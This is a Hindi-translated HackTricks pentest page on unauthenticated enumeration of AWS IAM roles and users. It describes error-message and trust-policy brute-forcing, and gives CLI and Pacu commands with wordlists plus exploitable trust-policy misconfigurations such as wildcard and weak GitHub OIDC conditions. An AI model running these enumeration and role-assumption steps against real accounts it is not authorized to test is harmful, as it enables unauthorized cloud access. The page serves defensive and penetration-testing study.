AWS - IAM & STS Unauthenticated Enum

Support HackTricks

Enumerate Roles & Usernames in an account

Assume Role Brute-Force

यह तकनीक अब काम नहीं करती क्योंकि यदि भूमिका मौजूद है या नहीं, तो आपको हमेशा यह त्रुटि मिलती है:

An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas

आप इसका परीक्षण कर सकते हैं:

aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example

आवश्यक अनुमतियों के बिना भूमिका को मानने का प्रयास AWS त्रुटि संदेश को सक्रिय करता है। उदाहरण के लिए, यदि अनधिकृत है, तो AWS यह वापस कर सकता है:

An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS

यह संदेश भूमिका के अस्तित्व की पुष्टि करता है लेकिन यह संकेत करता है कि इसकी असुमे भूमिका नीति आपकी असुमे की अनुमति नहीं देती। इसके विपरीत, एक गैर-मौजूद भूमिका को असुमे करने की कोशिश करने से एक अलग त्रुटि होती है:

An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole

दिलचस्प बात यह है कि मौजूदा और गैर-मौजूदा भूमिकाओं के बीच अंतर करने की यह विधि विभिन्न AWS खातों के बीच भी लागू होती है। एक मान्य AWS खाता आईडी और एक लक्षित शब्द सूची के साथ, कोई भी खाते में मौजूद भूमिकाओं को बिना किसी अंतर्निहित सीमाओं का सामना किए सूचीबद्ध कर सकता है।

आप इस स्क्रिप्ट का उपयोग करके संभावित प्रिंसिपल्स को सूचीबद्ध कर सकते हैं इस समस्या का दुरुपयोग करते हुए।

ट्रस्ट नीतियाँ: क्रॉस अकाउंट भूमिकाओं और उपयोगकर्ताओं के लिए ब्रूट-फोर्स

एक IAM भूमिका की ट्रस्ट नीति को कॉन्फ़िगर या अपडेट करना इस बात को परिभाषित करना शामिल है कि कौन से AWS संसाधन या सेवाएँ उस भूमिका को ग्रहण करने की अनुमति दी गई हैं और अस्थायी क्रेडेंशियल प्राप्त करें। यदि नीति में निर्दिष्ट संसाधन मौजूद है, तो ट्रस्ट नीति सफलता से सहेजी जाती है। हालाँकि, यदि संसाधन मौजूद नहीं है, तो एक त्रुटि उत्पन्न होती है, जो बताती है कि एक अमान्य प्रिंसिपल प्रदान किया गया था।

ध्यान दें कि उस संसाधन में आप एक क्रॉस अकाउंट भूमिका या उपयोगकर्ता निर्दिष्ट कर सकते हैं:

  • arn:aws:iam::acc_id:role/role_name

  • arn:aws:iam::acc_id:user/user_name

यह एक नीति का उदाहरण है:

{
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":
{
"AWS":"arn:aws:iam::216825089941:role\/Test"
},
"Action":"sts:AssumeRole"
}
]
}

GUI

यह त्रुटि है जो आपको तब मिलेगी जब आप एक भूमिका का उपयोग करते हैं जो मौजूद नहीं है। यदि भूमिका मौजूद है, तो नीति बिना किसी त्रुटि के सहेजी जाएगी। (त्रुटि अपडेट के लिए है, लेकिन यह बनाने के समय भी काम करती है)

CLI

### You could also use: aws iam update-assume-role-policy
# When it works
aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json
{
"Role": {
"Path": "/",
"RoleName": "Test-Role",
"RoleId": "AROA5ZDCUJS3DVEIYOB73",
"Arn": "arn:aws:iam::947247140022:role/Test-Role",
"CreateDate": "2022-05-03T20:50:04Z",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::316584767888:role/account-balance"
},
"Action": [
"sts:AssumeRole"
]
}
]
}
}
}

# When it doesn't work
aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json
An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2"

आप इस प्रक्रिया को स्वचालित कर सकते हैं https://github.com/carlospolop/aws_tools

  • bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt

हम Pacu का उपयोग कर रहे हैं:

  • run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt

  • run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt

  • उदाहरण में उपयोग किया गया admin भूमिका एक भूमिका है जो आपके खाते में है जिसे pacu द्वारा अनुकरण किया जाएगा ताकि वह enumeration के लिए आवश्यक नीतियों को बना सके

Privesc

यदि भूमिका गलत तरीके से कॉन्फ़िगर की गई है और किसी को भी इसे मानने की अनुमति देती है:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole"
}
]
}

The attacker could just assume it.

Third Party OIDC Federation

कल्पना करें कि आप एक Github Actions workflow पढ़ने में सफल होते हैं जो AWS के अंदर एक role तक पहुँच रहा है। यह विश्वास एक भूमिका तक पहुँच प्रदान कर सकता है जिसमें निम्नलिखित trust policy है:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::<acc_id>:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}
]
}

यह ट्रस्ट नीति सही हो सकती है, लेकिन अधिक शर्तों की कमी आपको इसे अविश्वसनीय बनानी चाहिए। यह इसलिए है क्योंकि पिछले भूमिका को Github Actions से कोई भी ग्रहण कर सकता है! आपको शर्तों में अन्य चीजें भी निर्दिष्ट करनी चाहिए जैसे कि संगठन का नाम, रिपॉजिटरी का नाम, वातावरण, शाखा...

एक और संभावित गलत कॉन्फ़िगरेशन है एक शर्त जोड़ना जैसे कि निम्नलिखित:

"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:org_name*:*"
}

ध्यान दें कि वाइल्डकार्ड (*) कोलन (:) से पहले है। आप org_name1 जैसे एक संगठन बना सकते हैं और एक Github Action से भूमिका ग्रहण कर सकते हैं।

संदर्भ

HackTricks का समर्थन करें

Last updated